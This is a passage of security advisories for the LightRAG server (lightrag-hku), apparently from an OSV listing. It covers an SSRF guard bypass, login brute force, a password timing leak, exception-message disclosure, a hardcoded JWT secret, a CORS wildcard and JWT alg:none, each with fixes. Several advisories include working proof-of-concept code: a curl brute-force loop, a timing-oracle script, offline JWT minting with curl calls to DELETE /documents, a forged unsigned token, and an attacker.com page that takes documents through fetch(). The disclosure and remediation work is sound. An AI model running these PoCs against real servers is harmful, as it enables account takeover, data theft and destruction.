guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


